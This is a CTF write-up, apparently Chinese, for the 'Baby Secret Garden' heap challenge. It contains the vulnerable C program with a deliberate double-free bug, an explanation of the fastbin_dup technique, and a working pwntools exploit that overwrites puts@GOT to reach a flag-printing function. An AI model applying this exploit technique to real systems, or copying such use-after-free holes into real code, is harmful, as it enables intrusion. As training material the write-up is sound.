#include <stdio.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define TIMEOUT 60


struct flower{			//结构体
	int vaild ;
	char *name ;
	char color[24] ;
};


struct flower* flowerlist[100] ;		
unsigned int flowercount = 0 ;



void menu(){			//就是打印一些东西,不用看
	puts("");
	puts("☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ");
	puts("☆         Baby Secret Garden      ☆ ");
	puts("☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ");
	puts("");
	puts("  1 . Raise a flower " );
	puts("  2 . Visit the garden ");
	puts("  3 . Remove a flower from the garden");
	puts("  4 . Clean the garden");
	puts("  5 . Leave the garden");
	puts("");
	printf("Your choice : ");
}

int add(){
	struct flower *newflower = NULL ;		//首先是创建一个空的结构体指针
	char *buf = NULL ;
	unsigned size =0;
	unsigned index ;
	if(flowercount < 100){							//一个全局变量
		newflower = malloc(sizeof(struct flower));
		memset(newflower,0,sizeof(struct flower));	//malloc一个新的结构体并置零
		printf("Length of the name :");
		if(scanf("%u",&size)== EOF) exit(-1);
		buf = (char*)malloc(size);					//输入name的长度并malloc相应的大小
		if(!buf){
			puts("Alloca error !!");
			exit(-1);
		}
		printf("The name of flower :");
		read(0,buf,size);							//输入name并保存,并将结构体指针指向其中
		newflower->name = buf ;
		printf("The color of the flower :");
		scanf("%23s",newflower->color);				//输入color,保存在color中
		newflower->vaild = 1 ;
		for(index = 0 ; index < 100 ; index++ ){
			if(!flowerlist[index]){
				flowerlist[index] = newflower ;		//遍历所有flower,然后根据指针是否被占用,进行赋值
				break ;
			}
		}
		flowercount++ ;
		puts("Successful !");
	}else{
		puts("The garden is overflow");
	}
}

int del(){
	unsigned int index ;
	if(!flowercount){
		puts("No flower in the garden");
	}else{
		printf("Which flower do you want to remove from the garden:");
		scanf("%d",&index);
		if(index < 0 ||index >= 100 || !flowerlist[index]){
			puts("Invalid choice");
			return 0 ;
		}
		(flowerlist[index])->vaild = 0 ;		//结构体的valid置零
		free((flowerlist[index])->name);		//把名称的部分free掉,但是没有置零,存在垂悬指针,可以进行double free
		puts("Successful");
	}
}

void magic(){		//最终运行这个方法就行了
    int fd ;
    char buffer[100];
    fd = open("/home/babysecretgarden/flag",O_RDONLY);
    read(fd,buffer,sizeof(buffer));
    close(fd);
    printf("%s",buffer);
    exit(0);
}

void clean(){
	unsigned index ;
	for(index = 0 ; index < 100 ; index++){	//若指针存在并且valid为零
		if(flowerlist[index] && (flowerlist[index])->vaild == 0){
			free(flowerlist[index]);
			flowerlist[index] = NULL;	//free并置零,貌似没有漏洞
			flowercount--;
		}
	}
	puts("Done!");
}

int visit(){
	unsigned index ;
	if(!flowercount){
		puts("No flower in the garden !");
	}else{
		for(index = 0 ; index < 100 ; index++){		//如果存在,就输出
			if(flowerlist[index] && (flowerlist[index])->vaild){
				printf("Name of the flower[%u] :%s\n",index,(flowerlist[index])->name);
				printf("Color of the flower[%u] :%s\n",index,(flowerlist[index])->color);
			}
		}	
	}
}

void handler(int signum){		//这个就是一个timeout
	puts("timeout");
	exit(1);
}
void init(){		//这个不知道有什么用
	int fd;
	fd = open("/dev/urandom",0);
	close(fd);
	setvbuf(stdout,0,2,0);
	signal(SIGALRM,handler);
	alarm(TIMEOUT);
}


int main(){
	init();
	int choice ;
	char buf[10];
	while(1){
		menu();
		read(0,buf,8);
		choice = atoi(buf);		//读取choice进行选择
		switch(choice){
			case 1:
				add();
				break ;
			case 2:
				visit();
				break ;
			case 3:
				del();
				break ;
			case 4:
				clean();
				break ;
			case 5:
				puts("See you next time.");
				exit(0);
			default :
				puts("Invalid choice");
				break ;
		}
	}
}

我们可以考虑通过double free,和fastbin_dup将堆的位置弄在put_got附近,然后再修改该堆空间,修改put_got,期间用到为了满足fastbin大小的要求,需要对put_got进行错位查找

通常下我们再got位置附近错位,会找到0x60的位置,那么我们申请堆空间的时候,大小要填写0x50

最终的exp如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

r = process('./secretgarden')

def raiseflower(length,name,color):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(name)
    r.recvuntil(":")
    r.sendline(color)

def visit():
    r.recvuntil(":")
    r.sendline("2")

def remove(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

def clean():
    r.recvuntil(":")
    r.sendline("4")


'''
0x601ffa:	0x1e28000000000000	0xe150000000000060
0x60200a:	0x195000007ffff7ff	0x079600007ffff7df

'''
if __name__ == '__main__':
    magic = 0x400c7b
    fake_chunk = 0x601ffa
    puts_got = 0x602020
    raiseflower(0x50,'aaaa','red')  #0
    raiseflower(0x50,'aaaa','red')  #1
    remove(1)
    remove(0)
    remove(1)
    raiseflower(0x50, p64(0x601ffa), 'red')  #先申请的1
    raiseflower(0x50, 'aaaa', 'red')  #再申请的0
    raiseflower(0x50, 'aaaa', 'red')  #再申请的1
    raiseflower(0x50,'a'*22+p64(magic) , 'red')  #这次申请到了put_got附近